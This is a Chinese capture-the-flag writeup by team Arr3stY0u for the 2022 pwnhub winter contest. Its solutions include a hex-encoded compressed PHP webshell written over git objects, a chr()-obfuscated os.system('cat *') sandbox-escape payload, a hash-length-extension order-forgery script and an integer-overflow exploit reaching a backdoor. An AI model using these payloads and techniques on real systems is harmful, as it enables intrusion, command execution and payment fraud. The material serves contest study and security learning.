2022 pwnhub冬季赛 writeup by Arr3stY0u

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2022 pwnhub冬季赛 writeup by Arr3stY0u

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2022 pwnhub冬季赛 writeup by Arr3stY0u

2022 pwnhub冬季赛 writeup by Arr3stY0u



HEADER


wp已上传至团队知识星球,更多问题请踊跃发帖。

预备队名额充足(web无了),欢迎大家踊跃投递简历~

招新简历投递(可加Q):

blcx@t00ls.net

2944508194@qq.com

PS:

这个周末真霉好,简单来讲的话就是:

队长咳嗽俩月不好,

主力接连阳性发烧,

就这情况还能硬抗?

原来是有Retard撑腰。

2022 pwnhub冬季赛 writeup by Arr3stY0u

WEB


Reset:

上传表单

<form role="form" action="upload.php" method="post" enctype="multipart/form-data">    <div class="form-group">        <label for="exampleInputText1">../.git/objects/5f/f1ef5c03448a1eb5571dd348cf717a7bad7402</label><input type="text" class="form-control"                                                                                                               id="exampleInputText1" name="filename"/>    </div>    <div class="form-group">        <label for="exampleInputFile">File input</label><input type="file" id="exampleInputFile"                                                               name="file" accept="image/gif"/>    </div>    <button type="submit" class="btn btn-default">Submit</button></form>

payload:

78 9C 05 40 31 0A 80 50 08 ED 28 0E 81 B5 D5 100D 3F B2 25 BA 40 5B 44 7C 41 70 78 90 10 74 7E51 BC 4A E3 34 CC CD 22 E1 41 9B FD 15 5D FB 1CFB 79 F1 E7 06 F0 DD 17 59 13 F2 5F 0B E2

上传zlib压缩过的一句话木马文件 覆盖.git/objects

> ../.git/objects/5f/f1ef5c03448a1eb5571dd348cf717a7bad7402

然后git reset到commit 0701f62d1c7a5a43838cdc43e7843c83dabd477d

然后 ?shell=system("cat%20/flag");

2022 pwnhub冬季赛 writeup by Arr3stY0u

PPC


TCP_show:

import base64
def print_addr(addr, D): s = '' if D == 1: s += ' ' * 8 s += f'{addr:08x} ' return s
def print_hex(data): assert len(data) <= 16 s = '' for i, v in enumerate(data): if i == 8: s += ' ' s += f'{v:02x} ' s = s.ljust(51, ' ') return s
def print_ascii(data): assert len(data) <= 16 s = '' for i, v in enumerate(data): if i == 8: s += ' ' if 32 <= v <= 126: s += chr(v) else: s += '.' s = s.ljust(17, ' ') return s
# Parse inputN = int(input())packets = []for _ in range(N): D, encoded_string = input().split() D = int(D) # Decode base64 string decoded_string = base64.b64decode(encoded_string) for i in range(0, len(decoded_string), 16): data = decoded_string[i:i+16] print(print_addr(i, D), end='') print(print_hex(data), end='') print(print_ascii(data))
2022 pwnhub冬季赛 writeup by Arr3stY0u

GAMING


游戏来咯:

2022 pwnhub冬季赛 writeup by Arr3stY0u

2022 pwnhub冬季赛 writeup by Arr3stY0u

MISC


飞驰人生:

2022 pwnhub冬季赛 writeup by Arr3stY0u

二分法找到一条超速报文:

244#000000A60000

根据https://www.freebuf.com/articles/mobile/322604.html

可得知

锁定全部车门的报文为19B#00000F000000

而且高达100次,然而连一条开启车门的报文都没有为什么会锁100次呢,所以猜测锁车报文也是在攻击。

拼接flag{244#000000A60000_19B#00000F000000}


证书里也有秘密:

2022 pwnhub冬季赛 writeup by Arr3stY0u


坐井观天:

from pwn import *
io = remote('47.97.127.1', 27504)
shell = '__import__("os").system("cat *")'
inner = ''for ch in shell: inner += f'chr({ord(ch)})+'inner = inner[:-1]payload = f'eval({inner})'
io.sendlineafter(b'$ ', payload)io.interactive()
2022 pwnhub冬季赛 writeup by Arr3stY0u

CRYPTO


ASR:

RSA1和N存在公因数,直接求出来s,尝试了一下因为s很大直接就能解出flag

RSA1= 0x97be543979cb98c109103fa118c1c930ff13a6b2562166417021afd6e46cb0837a5cc5f4094fcea5fcc33efdfa495050e0fb8269922b3ee2d403210ed1ba339af2dc3d4e8952f0c784fcc655436cf255b98cdaf8080df47f6c28bc0bae68c713RSA2 =0xa887aa84f3a0bd8b79ed59a7bb98d8e58a85414f85cf2ddf53ff4bd9294bfdadf7d6d6adfe7fbed55fc71b5a6bfcfe79ced27e2f41e7546a8679daf5b63dda37c =0x2f62fb7e7e8e27823193119f8412050ade9084ade25261a5875da23a07d5d5145e72d460697984d8aa668a25822009a4fdc85df2b208941cd3219b312f21c3c7bc4ef7aa8c18b4f91a0e815fe1892fca0f72406e571fbd0fea2c4710c601165ccd7e8a5a828721a5e2c956b732223d683d1413ef393b5f80a431c52bf9099e22b8e27daafb9d3e055242b89b5419b8925744ccf348e1bea519225af8efe7dbcc202425251039cbfe6b892a7fcf7e9d72224ea9381e3fb32ab837139af4b4112a3c7a6571c88e7d6c5db4c3f91e25edd15eb5544ef2f29a9e1bb1062ec86f1902N =0x58a7ff25292651e1a8d82656d64fe3b458d6e688405e85aa6c02e0c33469ad3dbaef6c6eaf8faf22f2d15e80856ab7b90a40fd50c36f7b59932bc94e6fb4fabefa87b11bf4ef74df4ccf8d254f0c6812628df3c5b3786af35e3dde9c87b462d1a565af6f100750718ccb7235174947f00cec5836765150f1680d0c58a5f9ea2473a6033c218c75664dc53377dde9386f37e1a89d77e61a716129d290c5a41f81cd3490bab6fe51f232ab27cb1ac9c8eb88e908c12109a125b7439c25b6879283a17a3467823fbb089709eb836cfd03386cc4bf186eb45401472ab0bdec605fd7import gmpy2from Crypto.Util.number import *s=gmpy2.gcd(RSA1,N)d=gmpy2.invert(65537,s-1)m=pow(c,d,s)print(long_to_bytes(m))#flag{b66f68258f184bd7afddd32c1518eed0}


大杂烩:

首先按照椭圆曲线去恢复一下e,然后构造格子恢复d。已知e,d,N可以分解N得到p,q,最后恢复一下flag即可

enc1 = 98662590652068949920571979585725979127266112216583776160769090971169664292493813021843624362593669574513220457664819153878956311077379392531742253343961645534972639309537402874636739745717765969720117162780620981639015788423324884640935466801234207019510919768602974162878323777374364290185048275714332671356enc2 = 58738699705013897273174837829098879580829898980458718341881900446701910685043213698485036350888862454440118347362218485065377354137391792039111639199258042591959084091242821874819864955504791788260187064338245516327147327866373690756260239728218244294166383516151782123688633986853602732137707507845681977204NN = 149794788177729409820185150543033616327574456754306207341321223589733698623477041345453230785413920341465642754285280273761269552897080096162195035057667200692677841848045965505750839903359478511509753781737513122660495056746669041957643882516287304836822410136985711091802722010788615177574143908444311475347v1 = vector(ZZ, [NN,0,0])v2 = vector(ZZ, [0,NN,0])v3 = vector(ZZ, [enc1,enc2,1])m = matrix([v1,v2,v3])print(m.LLL()[0])from Crypto.Util.number import *from gmpy2 import *from random import *n = 117749279680045360245987277946945707343578937283621512842997606104123872211782263906911929773756533011817679794905642225389185861207256322349591633257348367854563703050789889773031032949742664695416275919382068347995088593380486820784360816053546651916291080971628354468517506190756456913824397593128781030749a = 1755716071599N =  236038564943567983056828121309828109017d=14990624284509488042680161660737257135351130804992386170964133711355998909720573680004426073401904076426158895198678518101191466006577925453312470317923173403014675418274177799204059996088464949966983275563523545860455161601146390096727204796686764179459293323765609098069173418328596776052834794918747224515POINT = (996 , 151729833458737979764886336489671975339 )enc1 = 98662590652068949920571979585725979127266112216583776160769090971169664292493813021843624362593669574513220457664819153878956311077379392531742253343961645534972639309537402874636739745717765969720117162780620981639015788423324884640935466801234207019510919768602974162878323777374364290185048275714332671356enc2 = 58738699705013897273174837829098879580829898980458718341881900446701910685043213698485036350888862454440118347362218485065377354137391792039111639199258042591959084091242821874819864955504791788260187064338245516327147327866373690756260239728218244294166383516151782123688633986853602732137707507845681977204NN = 149794788177729409820185150543033616327574456754306207341321223589733698623477041345453230785413920341465642754285280273761269552897080096162195035057667200692677841848045965505750839903359478511509753781737513122660495056746669041957643882516287304836822410136985711091802722010788615177574143908444311475347a0=pow(POINT[1],2,N)a1=(pow(POINT[0],3,N)+a*POINT[0])%Ne0=(a0-a1)<<42e=e0+adef divide_pq(ed, n):    # ed = e*d    k = ed - 1    while True:        g = randint(3, n - 2)        t = k        while True:            if t % 2 != 0:                break            t //= 2            x = pow(g, t, n)            if x > 1 and gcd(x - 1, n) > 1:                p = gcd(x - 1, n)                return (p, n // p)print(divide_pq(e*d,n))p=10975174261034704614129537348435767562585273227523727915381249514160516106794340627651069782849466069255618657068339310429729612252894271512170809202423887q=10728693401989257497162315666113511395193621098287916982481421369358575901871658348370734537616238454994991795362544398787911086223011499609901455116513427for i in range(100):    print(long_to_bytes(p>>i))    print(long_to_bytes(q>>i))#flag{e89f47939d12434cb201080d8b240774}


payorder:

哈希拓展攻击伪造订单

from pwn import *from base64 import b64encode, b64decodefrom hashlib import sha256import hlextend_bytes# context.log_level = 'debug'
# io = remote('47.97.127.1', 22007)io = process(['python3', 'app.py'])io.sendlineafter(b'> ', b'2')io.sendlineafter(b'Which one? ', b'0')io.recvuntil(b'Order: ', drop=True)
link = b64decode(io.recvline().decode())payments = link.split(b'&')assert payments[-1].startswith(b's=') and len(payments[-1]) == 66, "Invalid"
link, sign = link[:-67], link[-64:]link = link.decode()sign = sign.decode()
for secret_len in range(10, 30): sha = hlextend_bytes.new('sha256') tmp_link = sha.extend('asdf&c=-10000'.encode(), link.encode(), secret_len, sign, raw=True) _sign = sha.hexdigest() order = b64encode(tmp_link+f'&s={_sign}'.encode()).decode()
io.sendlineafter(b'> ', b'3') io.sendlineafter(b'Order: ', order.encode()) res = io.recvuntil(b'Your Coins: ') print(res) if b'Invalid Order!' not in res: print('wow', secret_len) break print(io.recvline())
io.sendlineafter(b'> ', b'2')io.sendlineafter(b'Which one? ', b'9')io.recvuntil(b'Order: ', drop=True)
Order = io.recvline()io.sendlineafter(b'> ', b'3')io.sendlineafter(b'Order: ', Order)res = io.recvuntil(b'Your Coins: ')print(res)

先构造一个负金额的订单,把钱刷到10000.然后正常流程购买flag。

git上那个hlextend只支持str,要自己改一份支持bytes的,不然utf-8编码跑不通。

2022 pwnhub冬季赛 writeup by Arr3stY0u

PWN


Justjs:

非预期直接读出flag


冒险者:

整数溢出,改防御进入后门

from pwncli import *cli_script()io: tube = gift.ioelf: ELF = gift.elflibc: ELF = gift.libcdef cmd(i):    sla('>>> ', i)def get_money():    cmd('1')    ru('HP: ')    if int(ru(' ')[:-1]) < 20:        sla('? (1 -> yes / other -> no)',str(1))    else:        sla('? (1 -> yes / other -> no)',str(2))        get_money()def get_flag():    cmd('1')    ru('LV: ')    if int(ru(' ')[:-1]) == 999:        sla('? (1 -> yes / other -> no)',str(1))    else:        sla('? (1 -> yes / other -> no)',str(2))        get_flag()        def hp():    cmd('2')    sla('>>>','3')    sla('How many?','28633116')for i in range(3):    get_money()hp()get_flag()sl('cat flag')sl('cat /flag')ia()
2022 pwnhub冬季赛 writeup by Arr3stY0u

REVERSE


3:00pm:

challApp.ZGUy(z:y:sum:p:e:key:)

由参数名猜测是xxtea。

challApp.MjA3()(int a1)

密文和密钥都在这个函数里面, xxtea解密后就出了。


webasm:

修改wasm_exec.js,在loadValue末尾加一行。

> console.log('[loadValue]'+addr.toString(16)+','+v);

然后下断看输出,打印出输入的字符串后看堆栈。

堆栈回溯定位到0x8014f3fb。

读wasm内存

> new TextDecoder("utf-8").decode(new DataView(go.mem.buffer, Number(0x205be), 0xd));

读出来是"flag is flag{"

c                    /* verify */    iVar1 = verify_8014eed4(0);    if (iVar1 != 0) {      return 1;    }code_r0x8014f4e3:    if (*(char *)((int)register0x00000008 + 0x10) != '') {code_r0x8014f4f4:      *(undefined8 *)((int)register0x00000008 + 0x68) = 0;      *(undefined8 *)((int)register0x00000008 + 0x70) = 0;      *(undefined8 *)register0x00000008 = 0;                    /* flag is flag{ */      *(undefined8 *)((int)register0x00000008 + 8) = 0x205be;      *(undefined8 *)((int)register0x00000008 + 0x10) = 0xd;

在8014eed4里看到

 /* EHi87RUC2K5hZDnJJny9QtG1vjTFbSdQWrw8VvTLdpKq */    *(longlong *)register0x00000008 = 0x25531;    *(longlong *)((int)register0x00000008 + 8) = lVar3;    *(longlong *)((int)register0x00000008 + 0x10) = 44;    register0x00000008 = (BADSPACEBASE *)((int)register0x00000008 + -8);    *(longlong *)register0x00000008 = 0x156a0018;    iVar2 = unnamed_function_64(0);    if (iVar2 != 0) {      return 1;    }

可以确定正确密文就是

> EHi87RUC2K5hZDnJJny9QtG1vjTFbSdQWrw8VvTLdpKq

lVar3对应的就是加密过的输入字符串。

下断观察lVar3。

递增输入明文测试出编码表存在PQRS的序列。

11111111111111111111111111111110 gnuNjegcAhSPVJWmd7s9cioePPBT6XocTwDmqSB1cs9P11111111111111111111111111111111 gnuNjegcAhSPVJWmd7s9cioePPBT6XocTwDmqSB1cs9Q11111111111111111111111111111112 gnuNjegcAhSPVJWmd7s9cioePPBT6XocTwDmqSB1cs9R11111111111111111111111111111113 gnuNjegcAhSPVJWmd7s9cioePPBT6XocTwDmqSB1cs9S11111111111111111111111111111114 gnuNjegcAhSPVJWmd7s9cioePPBT6XocTwDmqSB1cs95

在内存中搜索PQRS找到

> 9efgFBE65hijPQRS8noCDTYZabc172VWXNMUd3GHJKLkmA4pqrstuvwxyz

长度58的表,猜测是变表base58,直接用base58解码失败,猜测编码前还有一层加密。

verify函数开头

*(longlong *)((int)register0x00000008 + 0x60) = 0x6665656264616564; // "deadbeef"..._80100559(0);..._801007d7(0);

翻看80100559和801007d7可以看到一些特征.

初始化

uVar7 += *(byte *)((int)uVar5 + (int)uVar8) + uVar10;uVar8 = uVar3 + (uVar7 & 0xff) * 4;*(undefined4 *)lVar9 = *(undefined4 *)uVar8;*(undefined4 *)uVar8 = (int)uVar10;

异或

*(byte *)((int)uVar13 + (int)lVar15) =    bVar1 ^ (byte)*(undefined4 *)    (iVar7 + (int)(((ulonglong)uVar2 + (ulonglong)uVar3 & 0xff) << 2));

猜测是rc4。

直接用CyberChef解密。

密文

> EHi87RUC2K5hZDnJJny9QtG1vjTFbSdQWrw8VvTLdpKq

base58 

>9efgFBE65hijPQRS8noCDTYZabc172VWXNMUd3GHJKLkmA4pqrstuvwxyz

rc4 密钥

> deadbeef

解密后得到

c7735ecc93f14b1da6e0df058bbac972

2022 pwnhub冬季赛 writeup by Arr3stY0u

PPC


TCP_show:

import base64
def print_addr(addr, D): s = '' if D == 1: s += ' ' * 8 s += f'{addr:08x} ' return s
def print_hex(data): assert len(data) <= 16 s = '' for i, v in enumerate(data): if i == 8: s += ' ' s += f'{v:02x} ' s = s.ljust(51, ' ') return s
def print_ascii(data): assert len(data) <= 16 s = '' for i, v in enumerate(data): if i == 8: s += ' ' if 32 <= v <= 126: s += chr(v) else: s += '.' s = s.ljust(17, ' ') return s
# Parse inputN = int(input())packets = []for _ in range(N): D, encoded_string = input().split() D = int(D) # Decode base64 string decoded_string = base64.b64decode(encoded_string) for i in range(0, len(decoded_string), 16): data = decoded_string[i:i+16] print(print_addr(i, D), end='') print(print_hex(data), end='') print(print_ascii(data))
2022 pwnhub冬季赛 writeup by Arr3stY0u



OTHER



文字频率分析:

from PIL import Imageimport io
img = Image.open('./tmp.png')

def cut2(img, x, y): content = io.BytesIO() b = img.crop((x*50, y*50, (x+1)*50, (y+1)*50)) b.save(content, 'png') return b, content.getvalue()

all_pic = set()
for x in range(20): for y in range(20): b, data = cut2(img, x, y) print(len(all_pic)) if data not in all_pic: b.save(f'_{len(all_pic)}.png') all_pic.add(data)

去重后剩下26张图片,通过unkown.png辨别。

然后改成对应的名字, 比如A.png。


exp:

from pwn import *from PIL import Imageimport io
def crack(part, c, level=6): s = int(part, 16) << (level * 4) _limit = s + (1 << level * 4) while s <= _limit: s += 1 seed = hex(s)[2:].encode() if hashlib.md5(seed).hexdigest() == c: return seed

map_ascii = dict()for ch in string.ascii_uppercase: map_ascii[open(f'{ch}.png', 'rb').read()] = ch

def cut(img, x, y): content = io.BytesIO() b = img.crop((x*50, y*50, (x+1)*50, (y+1)*50)) b.save(content, 'png') return content.getvalue()

p_io = remote('47.97.127.1', 25301)p_io.recvuntil(b'plaintext: ')part = p_io.recvuntil(b'??????', drop=True).decode()p_io.recvuntil(b'md5_hex -> ')c = p_io.recvuntil(b'n', drop=True).decode()p = crack(part, c)
p_io.sendlineafter(b'> ', p)
p_io.recvuntil(b"now, you get a png: ")a = p_io.recvuntil(b"##The end, please tell me your list:", drop=True)x = base64.b64decode(a.decode())
print('start!')with open('./tmp.png', 'wb') as fp: fp.write(x) fp.flush()
img = Image.open('./tmp.png')
s = ''for x in range(20): for y in range(20): s += map_ascii[cut(img, x, y)]
result = [0 for _ in range(26)]
for i in range(len(s)): idx = string.ascii_uppercase.index(s[i]) result[idx] += 1
print(result)result = ((str(result).strip('[]').replace(' ','')))print(result)p_io.sendlineafter(b'> ', result.encode())p_io.interactive()


图片识别:

from pwn import *from PIL import Image

def crack(part, c, level=6): s = int(part, 16) << (level * 4) _limit = s + (1 << level * 4) while s <= _limit: s += 1 seed = hex(s)[2:].encode() if hashlib.md5(seed).hexdigest() == c: return seed

io = remote('47.97.127.1', 27958)io.recvuntil(b'plaintext: ')part = io.recvuntil(b'??????', drop=True).decode()io.recvuntil(b'md5_hex -> ')c = io.recvuntil(b'n', drop=True).decode()p = crack(part, c)
io.sendlineafter(b'> ', p)_score = 0for i in range(10): io.recvuntil(b"/9j/") a = b"/9j/"+io.recvuntil(b"What's animal in this picture?", drop=True) x = base64.b64decode(a.decode())
print('start!') with open('./tmp.jpg', 'wb') as fp: fp.write(x) fp.flush()
# img = Image.open('./tmp.jpg') # img.show('test') guess = input().strip() if guess == 'e': guess = 'elephant' elif guess == 'b': guess = 'bird' elif guess == 'c': guess = 'chicken' elif guess == 'r': guess = 'rabbit' elif guess == 't': guess = 'tigger' elif guess == 'm': guess = 'mouse' elif guess == 'k': guess = 'koala' elif guess == 'd': guess = 'deer' elif guess == 'l': guess = 'lion' elif guess == 'h': guess = 'horse' elif guess == 'ct': guess = 'cattle' print(guess) io.sendlineafter(b'> ', guess.encode()) res = io.recvline() if b'Yes' in res: _score += 1 print(_score, res)
io.interactive()

搞几个快捷输入字符, 肉眼识别就行了。


垃圾邮件分析:

from pwnlib.util.iters import mbruteforcefrom hashlib import sha256import stringfrom pwn import *
io = remote('47.97.127.1'27262)
table = string.printableio.recvuntil(b'sha256(')prefix = io.recvuntil(b' + xxxx) = ', drop=True).decode()h = io.recvuntil(b'n', drop=True).decode()
proof = mbruteforce(lambda x: sha256((prefix+x).encode()).hexdigest() == h, table, length=4, method='fixed')io.sendlineafter(b'xxxx =', proof.encode())
io.interactive()

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2022 pwnhub冬季赛 writeup by Arr3stY0u



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山海关安全团队是一支专注网络安全的实战型团队,队员均来自国内外各大高校与企事业单位,主要从事漏洞挖掘、情报分析、反涉网犯罪研究。

此外,团队于2022年1月3日成立Arr3stY0u战队,积极参与国内外各大网络安全竞赛。Arr3stY0u意喻”逮捕你“,依托高超的逆向分析与情报分析技术,为群众网络安全保驾护航尽一份力,简单粗暴,向涉网犯罪开炮。

2022 pwnhub冬季赛 writeup by Arr3stY0u


原文始发于微信公众号(Arr3stY0u):2022 pwnhub冬季赛 writeup by Arr3stY0u

版权声明:admin 发表于 2022年12月19日 下午10:01。
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